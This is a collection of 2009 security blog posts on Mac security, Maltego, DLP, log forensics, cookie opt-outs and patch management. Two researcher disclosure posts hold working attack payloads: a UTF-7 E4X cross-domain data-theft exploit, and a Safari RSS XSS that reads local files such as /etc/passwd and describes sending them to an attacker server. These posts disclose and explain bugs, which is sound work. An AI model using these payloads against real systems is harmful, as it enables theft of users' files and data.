Now, if anyone wants to write about the PDF tomfoolery that's been going on lately, that would be far more interesting. Although, even then only to IT and security types, not the general public yet.

Justice League

Security folk often carry Macs, is that an endorsement?

Posted: March 16th, 2009, 10:16am CDT by jOHN

Tags: Software Security [edit]

The Geekonomics blog is often good. A new post indicates Apple’s veneer of more secure than Microsoft is cracking.

It was only a matter of time. I wanted to clarify that though you see a lot of security consultants carrying Macs, in Cigital’s case, it’s not an endorsement. Again, in the interest of disclosure: though I own and operate many platforms I operate more OS X at home and office than the others.

I attribute Mac adoption amongst security folk to two reasons: the platform combines a Unix-like environment with the ability to interact through email and MS Office and that the machines, for the most part, are a snappy bit of hardware, cobbled together into a “shiny object” (desirable) form. This second aspect goes a long way to explain the recent jump in ownership in the security community: “fan-boys.”

Any claims that it’s because “they’re more secure” should be considered with a fair amount of skepticism.

Yes, historically, the platform has suffered less pain of viruses and malware. Yes, certain aspects of their OS/platform and design did make improvements over XP.

The truth is this:

Apple doesn’t “Build Security In” very well at all. You don’t have to be an insider to understand why. Redmond is exporting security blogs, books, and value like never before. You don’t see a lot of Apple security people in the community though. You don’t see good solid standards-based support for authentication or web-services that would help you interact securely with your enterprise (Apple hides behind their ‘vision’ on this one). You don’t see a lot of support for Objective-C in the static analysis tool realm.

I believe that though Apple paid great lip service to security as a differentiator initially, (they even talked about phones like the iPhone becoming the basis of identity moving forward) but yet they abandoned it when they realized the cost of a real enterprise-level program. They also abandoned what was probably their best protection: the PPC processor. Their security proposition, IMO, is based on obscurity.

I’ve said before, “Woe to Apple when market share (and thus Economics) garners the attention necessary to motivate attackers to focus on the platform—attackers may find their task easier than with Vista.”

Rational Survivability

Source Boston - Video Interviews of Security Rockstars...

Posted: March 13th, 2009, 5:57pm CDT by beaker

Tags: Security Conferences [edit]
Source Boston has officially wound down, but I'm still on Cloud 9 (sorry) following the amazing sessions and interaction I had with my fellow attendees and speakers.

My presentation was well received and with Marcus Ranum, Dan Geer, and Adam Shostack sitting six feet in front of me, I didn't choke as badly as I could have. I had a ton of fun giving this first run preso and got a lot of great feedback and questions.

One of the most excellent things I got to do was spend some time walking about with Zach Lanier (@quine on Twitter) and interview many of the vendors and speakers extemporaneously on various subjects.
I'll be updating this post with links to the interviews as I get them cleaned up and uploaded to YouTube...
Here's a sampling of what you can expect:
- David Mortman, "I Can Haz Privacy"
- Dmitry McKay, LogLogic
- Chris Wysopal - Veracode
- Peter Kuper - "Silver Linings"
- Jose Nazario, Arbor, "Politically Motivated DDoS Attacks"
- Christien Rioux, Source
- Jeremiah Grossman, Whitehat Security, "Get Rich or Die Trying, Making Money the Black Hat Way"
- Amrit Williams, BigFix, "The Economics of CyberCrime & the Law of Malware Probability"
- Adam Shostack, Microsoft, "The Crisis In Information Security"
- Dan Kaminsky, IOActive, "DNS - Toward a Secure Infrastructure"
- Chris Weber, Casaba Security, "Exploiting Unicode-Enabled Software"
- Rob Cheyne, SafeLight, "The End Of Our Rope: The On-Going Discussion Between Business & Security"
You'll laugh, you'll cry, you'll wonder why people gave me this task...
But seriously, we discuss such mega-issues such as DDoS, Snuggies, Bedazzlers, Zombies and Estonian dissident groups (and that's in just ONE of the talks.)

I think I've found something I absolutely LOVE doing -- vlogging (video blogging) and will try and do more of it.
Check back for updates to the links over the weekend.
/Hoff

Dominic White's .tHE pRODUCT

Using Maltego to Data Mine Twitter

Posted: March 11th, 2009, 3:31am CDT

Tags: Security [edit]

I've previously, spoken about Paterva's awesome data mining tool Maltego in 2007. I've recently had cause to start playing with it again as part of the Privacy work I'm currently doing, and it's come a long way baby.
To demonstrate the cool sorts of data mining you can do, I decided to play with the new twitter transforms. I've produced some really nice graphs that demonstrate the power the views in Maltego can bring to your data analytics.

What I did was to start off with a phrase "@singe". I then transformed that to tweets. This showed all recent tweets to or about me. From there I transformed the tweets to twitter affiliation (i.e. a twitter user). Then for each of those users, I ran the 'tweets to' and 'tweets from' transforms. This gave me a nice first go at the networks surrounding me. Then for all tweeple who were referenced more than once, I ran the same 'tweets to/from' transforms. With the centrality data mining view, I could quickly see which tweeple were referenced several times and continued running the transforms against the most highly referenced people. I soon ran out of the 75 transforms allowed in the community edition.

From this data, I have a good idea of the twitter communication network that surrounds me. With the centrality view, you can immediately see there are two distinct networks, the South African twitter-sphere, and the Security twitter-sphere.
Centrality View - Showing 2 Distinct Networks Centrality View - Showing Security Network Centrality View - Showing South African Network
This is an interesting view. I know I operate within these two networks and the people in the one don't talk to the people in the other, but to have it represented so clearly is interesting.

Next, I switched to the edge-weighted view which looks at the number of incoming and outgoing connection of each entitiy. This provided some insight into how these networks are structured. It is easy to see that the South African twitter-sphere is far more connected, the people there share a common group of friends, it's also easy to pick up the central nodes of the network, stii features quite prominently. The security network on the other hand is far more distributed and far less connected, with the central players much less easier to spot.

Edge-weighted view - Showing network properties Edge-weighted view - Showing SA Network Edge-weighted view - Showing Security Network

The other piece of information this has provided are any people I should be following that feature prominently in either of the networks. For example, Tanya de Ville, Sheena Gates, Wogan May, Nick Jackson and Gabrielle Rosano are all people I don't currently follow but maybe should. Although, I tend to follow people I know personally in the South African network. On the other hand, I don't know most of the security tweeple personally and it tends to operate on more of a meritocracy, so this has given me some good ideas of other security tweeple I should follow; Andrew Hay, Marcus J. Carey, Thomas Nicholson and Rob Fuller.

I should add a disclaimer that I had Maltego set on max speed so it only returned 12 results, this means these graphs are very temporal based, tweple that were making more noise at the time I ran them featured more prominently. Also, I was using the community edition, and was limited to 75 transforms. Thus, don't take this as a personal slight if your name doesn't show up.

My intention is to show how Maltego's views can be used for quick visual analysis of interrelated data sets. With the inclusion of local transforms, I'm excited about the possibility of using this for all sorts of things, nessus/nmap output, firewall rules, customer info data sets etc. Nice work Paterva.

Disenchant's Blog

CSWD - Certified Secure Web Developer

Posted: March 8th, 2009, 5:20am CDT by Disenchant

Tags: Security [edit]

Too long ago, I wrote a posting about Certified Secure Web (CSW) and announced to post more information on the specific certifications CSWD and CSWT. Because of the official web site is now also available in English it doesn’t make sense to copy&paste it into my blog. You’ll find it at [https:].

If there are any questions about CSW, don’t hesitate to ask

The Spanner

Hackvertor now translates

Posted: February 26th, 2009, 9:21am CST by Gareth Heyes

Tags: Security [edit]

Whilst reading everyone’s tweets, I found Yosuke Hasegawa had posted a binary string. I decoded it out of curiosity, first it was binary, then character codes, then UTF-7 and finally Japanese. So yeah you can tell what’s coming, I wanted Hackvertor to decode it all for me. Here’s the string:-

00101011 01001101 01000111 00111000 01110111 01010111 01111010 01000010 01001101 01001101 01001001 00111000 00101101

And here is Hackvertor converting it:-
[tinyurl.com]

Hackvertor can now convert from one language to another:-
Spanish translation

Viel Spaß!

Dominic White's .tHE pRODUCT

Cybersquatting and Prank Redirects - Malema and the DA

Posted: February 26th, 2009, 8:00am CST

Tags: Security [edit]

Update: Verashni has since written a story on the matter.

Many non-technical people don't realise how easy it is to manipulate many of the core internet protocols. 2008 Was a particularly bad year for it with some key weaknesses being pointed out in critical protocols such as DNS, SSL and BGP (again) which have joined the ranks of SMTP, Ethernet and in-line SQL as broken. However, with all the technofeats, I forget how easy it is to do something simple that appears to be manipulation to the general public. A journo friend of mine, Verashni, noticed (amoung others) that visiting www.malema.co.za will take you to the DA's website. For any forein readers, this is funny as I'm sure Julius Malema has a dartboard with, opposing political party leader, Hellen Zille's face on it. I did a quick check of who had registered the domain and it was fairly obvious this was a prank:

2f. billingaccount : The ANC
2g. billingemail : neveranc@gmail.com
2i. invoiceaddress : Not 54 Sauer Street, Johannesburg, 2001
2j. registrantphone : +2774 115 9505
2k. registrantfax :
2l. registrantemail : neveranc@gmail.com

This isn't a technical feat, or particularly difficult to do. It likely cost the prankster R50 and 30 minutes of her time. For example back in 2007, I pointed out that thesource.ofallevil.com mirrored Microsoft's website (and still does), and a commentator pointed out that theroot.ofallevil.com did the same for Verisign (but not anymore).

However, the almost magical qualities attributed to technology by the general public have lead to some very amusing conspiracy theories. My favourite so far is: "The DA is trying to profit from Julius' popularity!" Unfortunately, there is no proof that the DA is behind this, and until we can rule out the rest of the planet as suspects, we'll just have to smirk and read Classic Malema.

This does have some domain squatting implications though. If Julius ever decides to take his "unique" brand on-line, he'll likely need to go through some legal procedure to get "Not the ANC" to relinquish it. You can read more about "Cybersquatting" on Wikipedia.

The Spanner

Inline UTF-7 E4X javascript hijacking

Posted: February 24th, 2009, 5:27am CST by Gareth Heyes

Tags: Security [edit]
I finally get to talk about this because Yosuke Hasegawa has already disclosed the IE/FF variant with JSON data. I also discovered the UTF-7 JSON hacking independently but I wasn’t aware it was public so I didn’t blog about it. Just in case you haven’t, you should check out his presentation it’s awesome!

Anyway onto E4X I just love it Currently it is only fully supported by Firefox and maybe Google Chrome I think. It enables you to use XML data within Javascript and has plenty of little quirks I’ve blogged about in the past. I won’t go into detail about what it is, you’ll have to Google around for that.

So you can use XML data within javascript that means we can access that data cross domain but only if it’s been assigned to a variable right? Well not exactly. You see if we can control any aspect of the XML data we can then poison it with UTF-7 encoded data, this means we can access inline XML without any variable assignment.

Lets take a sample of fictional data that is returned when you’re logged onto a web site:-
```
<friendList>
<friend>
  <name>Name1</name>
  <email>somebody@somewhere1.com</email>
</friend>
<friend>
  <name>Name2</name>
  <email>somebody@somewhere2.com</email>
</friend>
etc...
</friendList>
```
So if you can control a new friend within the XML data, we can get the contents of the data remotely by including a SCRIPT tag to the data along with a UTF-7 charset. Here is how the attack would work:-
```
<script defer="defer" charset="UTF-7" src="http://somesite.com/home/friendslist.php"></script>
<script>
window.onload = function() {
        alert(x);
}
</script>
```
And we add a new friend called poison with the following data:-
```
<friend>
  <name>Poison</name>
<email>+ADwALwBlAG0AYQBpAGwAPgA8AC8AZgByAGkAZQBuAGQAPgA8AC8AZgByAGkAZQBuAGQATABpAHMAdAA+ADsAeAA9ADwAZgByAGkAZQBuAGQATABpAHMAdAA+ADwAZgByAGkAZQBuAGQAPgA8AGUAbQBhAGkAbAA+-</email>
</friend>
```
If we decode the above UTF-7 string we get the following:-
```
</email></friend></friendList>;x=<friendList><friend><email>
```
Notice the “X” assignment, this is how we steal the data. We close the email, friend and friendlist tags within the UTF-7 encoded data and start a new E4X block. A POC is available here which would also work cross domain:-

E4X poc

tssci security

Web application security incident handling

Posted: February 23rd, 2009, 7:32pm CST by Marcin

Tags: Security [edit]

I thought I’d take a moment to post about some web security tools I use pretty often, which help as a security consultant when responding to various web hacking related incidents. These tools have helped me write my own scripts whenever I’m in a jam and need something good and quick to do the job.

Application Log File Forensics: The Hard Way

The first thing a security professional or administrator usually think of when handling an application security incident is to check the logs for the applications, databases, and other application-tiers involved. Often, these logs are either on the servers that run the applications themselves, or possibly in a central logging location. If a certain attacker tool can be identified from the log files (or other sources such as full packet-capture), then it may be of interest to run that exact same tool against your own application-under-target (preferably in a mocked-up lab or test environment, if it mirrors production well enough).

The most popular web servers, Apache httpd and Microsoft IIS, do create local log files by default. According to most compliance regulations and standards (e.g. COBIT, HIPAA, GLB, PCI-DSS, FISMA, EU Directive on Privacy and Electronic Communications, ISO 17799/27002, CA SB1386 and similar), logging must be centrally located, or may have other required provisions. This may include application-layer information, such as the log information from Apache and IIS. It may be very likely that your organization already has centralized logging where this information is available.

If centralized logging does not exist, it may be a good time to start up a project to enable it. The Apache Cookbook, 2E, is the best place to go in order to configure httpd to start sending syslog information. It’s about as simple to add “ErrorLog syslog:user” into the httpd.conf file, but this only logs error messages, not authentication/access_log messages. The book gives two prescriptions, one using “AccessLog “|/usr/bin/logger” combined” if your OS supports the logger command properly. The other is to run a custom log message through a Perl script, as seen below:

CustomLog |/usr/local/apache/bin/apache_syslog combined
cat > apache_syslog #!/usr/bin/perl use Sys::Syslog qw( :DEFAULT setlogsock ); setlogsock('unix'); openlog('apache', 'cons', 'pid', 'user'); while ($log = <STDIN>) { syslog('notice', $log); } closelog;

Microsoft IIS will need to go through the Event Log, which can be converted to syslog messages using a third-party software package such as Snare or MonitorWare Agent. If IIS logs can also be converted to w3c standard log format, then Apache log analyzer tools such as AWStats could also be used. W3C also has their own log analysis tool that also does HTML validation, called the Log Validator. These may be useful to run following your own scan of the application using the same or similar attacker tool, as they will not only point out where in your application the scan/tool covered, but also where you may have the most errors or lack of quality/security controls.

The book Practical Information Security Monitoring also makes some suggestions for log collections, including the use of Sawmill or Splunk to sort/search log messages and gain further information and detail. There may also be further adjustments you will want to do at the application (or other tier) layer, such as logging POST data. We discussed logging HTTP referrers on our old post: Using Google Analytics to Subvert Privacy. Practical Information Security Monitoring talks about Oracle audit logging, but there is also a detailed article on Pete Finnigan’s blog on Oracle forensics and UKOUG. At the recent BlackHat DC conference, David Litchfield gave a talk on The Forensic Investigation of a Compromised Oracle Database Server, which may also be of interest (once the slides are available). There are also some new books coming out on the topic of Oracle Forensics in the next few months / year.

Web Application Incident Handling: The Easy Way

Most of the logfile “digging” takes time, even when consolidated and using expert tools and analysis. There are some very easy approaches that we’ve come up with, or seen others using and talking about. These tools integrate well at the HTML and Script layers.

Over a year ago, Mario Heiderich started the PHP-IDS project, as a way to build protection and monitoring capabilities into PHP applications. Several side projects spurred up as a direct result of the incredible work that was put into PHP-IDS, mainly its default_filter.xml regular expressions. This XML file of regular expressions provides capabilities to detect a vast range of attacks, including XSS, CSRF, SQL Injection, Directory Traversal, Local/Remote File Execution, DoS, and Information Disclosure. Part of the success behind the PHP-IDS project, was the constant testing and attacking of PHP-IDS regex filters, which can be reviewed extensively in this sla.ckers.org thread. More info on PHP-IDS can be found in the PHP-IDS FAQ.

Romain Gaucher, wrote Scalp, an Apache log analyzer in Python, which leverages PHP-IDS’ default_filter.xml to detect attack strings in logs. I’ve used Scalp on numerous occasions, including a recent attack attempt on tssci-security.com. By nature, Scalp cannot examine POST content because Apache logs do not contain POST data. (See PHP-IDS or mod_security for those purposes)

Simply use Scalp by running it as follows (keep in mind there may be false positives with regards to the attack type, though it is very good at pulling attack queries from the log):

./scalp.py --log access_log --filters ./default_filter.xml --html --tough --exhaustive

Arshan Dabirsiaghi recently released OWASP Scrubbr. Scrubbr works by detecting input data in a specified database that does not match up with a specified AntiSamy policy file. Because Scrubbr uses an AntiSamy policy to validate data, does not mean it necessarily detects XSS in your database. Note, one does not require AntiSamy to be implemented in an application to use Scrubbr. Using Scrubbr, you have the capability of validating each and every column capable of holding strings of every row of every table in a database.

Together, Scalp and Scrubbr make for excellent web application security forensic tools. Scalp can help detect attacks in Apache logs, and Scrubbr can help you clean your database of content that does not match your site’s policy.

Billy (BK) Rios

Stealing More Files with Safari

Posted: February 13th, 2009, 12:42pm CST by xssniper

Tags: Security [edit]

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them. The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here. As always, Apple was excellent in their handling of the issue. Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I’ll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/

RSS files are basically XML files that contain content that can be rendered by RSS readers. In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….

As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well. Despite the filtering, the HTML is valid and we now have script execution in the context of feed://. Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"

Proof of concept can be found here.

[xs-sniper.com]

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:windowswin.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished. For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I’m very interested in vulnerabilities like this. We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort. Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

Justice League

Do Cloud-based Apps Destroy Web App Security?

Posted: February 13th, 2009, 10:07am CST by scott

Tags: Cloud Computing Security Software [edit]

My colleague, Ben Walther, pointed me at this post about Cloud applications and Web-app security by Rich Mogull. The title is “How the Cloud Destroys Everything I Love (About Web App Security)”. The post talks about running Web apps on a cloud platform like EC2. I’m not sure I buy into everything they say.

First, I’m not sure what Rich means by a “Web App”. To me, the term Web App describes an n-Tier application with a browser front end and some kind of backend SQL database. There are maybe some web service calls thrown into the mix. It’s the kind of applications that everybody’s been writing for the last 10 years. So, what’s going to change if I’m running this same application architecture on infrastructure that I’m buying as a service? Sure, I have to worry about all of the inter-machine communication channels because I don’t have the nice data center supplied network security. But what else?

Now when we move to cloud-based applications (environments like AppEngine or 10gen), ones that take advantage of the highly distributed nature of the code as well as the virtual environments, then we have changed the application architecture. I buy that security for these apps changes, but it’s no longer “web app” security. In these cloud-based applications, there are some different fundamental assumptions about the architecture, like no transaction serializability. But for these legacy web apps running in a virtualized infrastructure, I’m less convinced that there is a drastic change.

There are a couple of specific points made in the article that I don’t agree with:

Secure development (somewhat) breaks because the underlying platform can’t be locked down.
Just because you can’t lock it down yourself doesn’t mean that it can’t be locked down. This seems like an argument for secure deployment breaking and not secure development. Even then, the PAAS or IAAS may actually lock the platform down better than you can. It does shift the problem from looking at technical artifacts (configuration files, patch logs, etc) to looking at legal and audit artifacts (SLAs and certifications).

Static analysis tools (mostly) break.
The contention is that there’s less code you program yourself. I don’t see this as true for IAAS platforms like EC2, how much code is provided that you really need to worry about. Besides, static tools are language based and if it’s the same language, it doesn’t really matter whether it’s running on a virtual OS or a physical one. The change that breaks static analysis is the move to dynamically typed languages.

My take is that the infrastructural changes of a cloud computing have a more drastic effect on an organization’s ability to deploy securely. Being able to develop securely is based on the application architecture. I really see these as independent levers rather than a single “cloud” lever.

Technorati Tags: Cloud Computing, Security
Securing Deployment for Cloud-based Applications

Posted: February 11th, 2009, 2:46pm CST by scott

Tags: Software Security [edit]

A recent thread about hardware and software requirements for development on the Google cloud forum made me wonder what cloud computing will mean for development, test and production environments. There are a lot of really interesting questions here, but my mind got stuck on the relationship between development and production. I’ve always been amused at the IDE feature that touts instant deployment from the developer’s desktop to the production system. Wearing my security hat, I should use the word “horrified” instead of “amused” because I can think of no worse model for deployment than developer-to-production.

I came to the conclusion that deployment of cloud-based applications will require much more engineering rigor to assure the security of the deployed application. There will, of course, be variation in the amount and type of rigor based on the type of cloud the application is being deployed to. For example, deploying to a platform as a service provider will be different than deploying to a infrastructure as a service provider where the later will require a lot more rigor. But, given the amount of manual steps involved in most of the deployments I see, I’m very worried that deployment automation will be overlooked as a required security control for cloud-based apps.

Large companies will have tools like Opsware and Bladelogic for their existing data centers, so they have a base of automation to work from. It’s the medium-large and medium sized organizations that I see as needing automation help to secure their deployments. I think these companies will be adopting cloud-based applications for their cost advantage over internally owned and managed infrastructure. But these organizations have a much more collegial relationship between development and operations and moving to operations to a service model will break these relationships. It’s the same problem that companies face when moving parts of development offshore. The solution for development is more formal API contracts and specifications. With operations, automation is an excellent way of formalizing the “API contract” between development and operations.

Security will have its part in this equation as well. All of the assumptions about who can do what with which parts of the application, who you can trust and with what credentials will have to be re-evaluated. Some of my colleagues would argue that this is the least of our worries. I would agree, but given the lack of a shared understanding of cloud security, I think that these operational concerns need to be on the list.

Dominic White's .tHE pRODUCT

A Response to Bejtlich on DLP

Posted: February 4th, 2009, 1:14pm CST

Tags: Security [edit]

Richard Bejtlich just posted an entry entitle "Data Leakage Protection Thoughts." In it he argues that Data Leak Prevention products will just lead to a new barrage of alerts for someone to ignore (ala IPS/IDS), or blocking a too-small-set of data for which a significant amount of time would need to be invested to understand how to block. I'm paraphrasing, but I think it provides the gist.

Before I provide a response, I must preface it with the fact that we are currently working on and selling projects which use DLP tools.

That said, what I think Richard misses about DLP is the fingerprinting and discovery aspect. DLP solutions provide radically enhanced methods of fingerprinting and finding 'unstructured' data beyond comparing hashes or strings. Unstructured data, is data that doesn't follow some kind of programmatic pattern. For example, credit card numbers are structured data and need to conform to certain guidelines. It's fairly easy to find and detect that sort of data. Unstructured data on the other hand are things like spreadsheets, documents, presentations, podcasts, movies etc. However, even then those are just containers for the data, and it is possible for the same information to be copied from a word document to a spreadsheet (for e.g.). DLP provide a way of fingerprinting the underlying information, and then detecting it across the organisation.

For example, one could fingerprint the board minutes on a PA's laptop, then examine all mailboxes, databases and file servers to locate them. Or, one could do the same for customer records and work out which systems are storing customer personal information. Alternatively, one could work out which systems are in scope for PCI DSS compliance (or descoping) because they contain card-holder data. Then, much later, one could monitor communication channels, flash sticks and printers and block any instances of the classified information being distributed outside of designated groups.

The reason this sort of stuff is important, is that organisations aren't very good at knowing where their important data is. People who've done 'information classification' projects before, will tell you they took a long time because the business people knew what data was important, but not how or where it was stored, and the IT people knew which systems the business people thought were important, but not which parts of information in that system were important. Being able to do this sort of fingerprinting and discovery makes the task of mapping these to each other much easier. Additionally, being able to fingerprint a blob of data and assign the whole blob specific properties makes life easier. You don't have to classify each paragraph of the board meeting's minutes, you can fingerprint every one and assign a policy to all of them.

The second part of a DLP solution, the enforcement, is the bit Richard was talking about. If we look at previous information classification projects again, even if you did come up with a decent data/system/comms map and classification scheme, you couldn't do much more than write policies or put a bit more effort into securing the systems holding the important data. The DLP tools let security teams start putting controls around the actual data, not their format or system, and provides a method to enforce that policy. In implementing this part, it's easy to alert on everything and end up with an unmanageable and unwatched list of alerts. Initially, key policies should be expressed as a block rule, assuming you aren't an unrealistic rule-nazi this will allow you to define rules for very confidential information or high-risk leaks (e.g. 1million customer records and one set of minutes of a board meeting). However, once you've got that tweaked and usable, all the stuff in the middle may need a more nuanced approach in the form of logs and alerts. It's my personal belief that security analysts can't do that part, I've tried and it's just way too much work. The communication context is something the data owner needs to comment on, and takes too much time to work out. This is where I think the workflow component comes in as described in my other blog entry on the topic.

Then (almost) finally, I think DLP has potential to allow an organisation with an immature security posture, to fairly quickly put controls around high risk data, start working out where their high risk data is stored and where their biggest leaks are. Those last two will help them prioritise their security efforts better than the other risk assessments consultancies like mine are famous for overcharging for ;)

I do agree that DLP tools aren't going to provide a fool proof way of detecting all attempts at smuggling data out. I've tested a couple and while steganography works all the time, in some cases just bzip2'ing it worked too. I don't think only stupid people will get detected by the DLP tool (although given the number of "mistakes" you end up seeing, blocking stupid is useful) as they do go quite far in picking up things like copy pasting snippets of text into other documents or inserting some random text in between paragraphs etc. But in the end it won't kill that werewolf for you.
Opt-Out of Online Advertiser's Profiling

Posted: February 2nd, 2009, 1:59pm CST

Tags: Security [edit]

I've been saying to anyone who would listen, that many advertisers (such as Google and DoubleClick - owned by Google) don't let you opt-out of their profiling. Essentially, many advertisers set a cookie and use it to track you across sites. This is useful to add state to stateless HTTP, but often lots of third-party cookies are set by advertisers which have no function other than to help profile you, i.e. it's possible to have a perfectly functional site without these cookies.
However, while trawling through Google's privacy policies, I found a gold-mine of opt-outingness, and it appears I was wrong. Not only can you opt-out of Google's and DoubleClick's profiling, you can opt-out of almost every other one! What this does it set a specific opt-out cookie, that will prevent the code running on the ad platforms from using or recording profile data to serve you ads. You will still see ads (unless you run Ad Block Plus), but they will not be based on inferences from your surfing history. As it uses cookies, this will only work as long as the cookie is there, so other browsers/computers won't have it, nor will they remain if you delete your cookies. I still recommend not accepting the cookies in the first place (Cookie Safe helps with that and is easier than managing it through browser prefs), but if you must (e.g. to use gmail) then there's very little reason to not opt-out.

While this is quite cool, and certainly makes me heap less derision on online advertisers, there is a caveat that you are trusting the advertiser that they have opted you out. For example, doubleclick.com still has an ASP session cookie set which could be used for profiling if they felt like it (several of the other ad partners also have opt-out cookies with what looks like unique identifiers present). I would still recommend blocking these third party cookies just to be safe, and you don't really loose anything by doing so. Additionlly, non-ad profiling such as your Google life-time (now 2 years) cookie or YouTube tracking cookie will still be present and used to profile you (unless someone can show me a cool way to opt-out of that?) so this certainly isn't a panacea.

The big problem is that anyone who indiscriminantly accepts third party cookies, is also not likely to know about/care about/find the opt-out page. Either-way, the Network Advertising Affiliates deserve some credit for this.
ARIAD - AutoRun.Inf Access Denied

Posted: January 25th, 2009, 3:10pm CST

Tags: Security [edit]

Viruses using the autorun.inf file of removable media such as flash sticks and iPods to automatically execute and install themselves whenever they are plugged into a machine can now be thwarted by Ariad. This is a big vector at the moment.

It's a file system filter (I didn't know about these, they're cool) that blocks access to autorun.inf and effectively stops windows from automatically installing viruses for you (aka a design flaw). Group Policy should allow you to do the same thing, but if you have either incompetent domain admins, some inheritance complexity of multiple policy applications have self-imploded, or a family member who uses their USB without protection, this can help fill the gap.

Courtesy DiderStevens - Ariad

Dider asked me to add that at the time of writing this is beta software, so test it first.

tssci security

Introducing SSLFail.com

Posted: January 22nd, 2009, 8:11am CST by Marcin

Tags: Security [edit]

Hey all, I’d like to introduce all of you to a new site Tyler Reguly and I, along with Romain Gaucher and Jay Graver set up last week, SSLFail.com. The site’s purpose is to point out the failures in various sites’ SSL implementations. We’ll be publishing tutorials, and informative articles on SSL in addition to pasting screenshots of high profile sites’ failures.

We came up with the idea for the site when Romain came upon an SSL failure with Gmail. Tyler then blogged about it, and then I was getting errors with Facebook.

The interesting things about Gmail, when you go to https://gmail.com, Firefox was the only browser we tested to follow the 301 Redirect to another domain (www.google.com) with a proper SSL certificate. IE7 and Google Chrome on the other hand, asked the user for confirmation before the redirect. Is this a Firefox SSL failure? I don’t know, and several others I’ve spoken with aren’t sure how a browser should handle it either.

Anyways, just wanted to point out this new site, which has already gotten some attention from lonervamp at terminal23 and hype-free.

Dominic White's .tHE pRODUCT

Why Patch Management will Remain Hard

Posted: January 17th, 2009, 2:49am CST

Tags: Security [edit]

A discussion with haroon yesterday revived some of my interest in my MSc thesis topic. Then serendipity brought Eric Schultze commentary/apology on the MS09-001 patch to my attention.
First, some justification. Patch management is still a poorly practised discipline. I can't think of a single audit report either written or reviewed by me that didn't mention missing patches as a finding. This is also a non-trivial issue. Patches drives attacks (you can read my vulnerability life-cycle for more justification), missing security patches really do put your organisation at risk, no matter how jaded we are about them.

Arguably, Microsoft has done the most work in making their patches reliable and easy to install. However, it's still possible for a highly experienced patch management expert to get things wrong in understanding the impact (and hence appropriate prioritisation) of a patch.

However, the people within your organisation responsible for 'patch management' are usually fairly low level techies. It is often seen as a plumbing and maintenance issue. You certainly don't have your top sysadmins jumping to it every Tuesday to put together a regression testing schedule and work out which machines to prioritise the deployment to. In South Africa, things are a little worse, where there appears to be an increasing dearth of top sysadmins, as many of them move up into less technical managerial positions away from the care of the metal, thankful to leave plumbing issues like patching behind them.

This is where the disconnect comes in. Even with a comprehensive toolset to easily deploy patches. The technical and security experience required to properly understand the affects of a patch, coupled with the operational and organisational experience required to understand those applied to a specific organisation are quite large however this maintenance issue is usually given to a junior technician. Additionally, even though Microsoft's patches have improved their stability dramatically, people still err on the side of caution and tend towards non-deployment. This disconnect can be resolved via an organisation patch management policy that codifies much of that experience, but in the words of haroon "Management don't buy into who cleans the fridge or when the light bulbs are replaced." For the same reason low-level techies are sent to do the patching, management are unlikely to spend money and time getting patch management right. The right way to cut through that is with a risk-based argument, although not every organisation has a risk-management function motivated to do much about patching. Why? Because it's boring. Not only is it boring, it's repetitive; every month there's more. I personally find it very hard to care about patches these days.

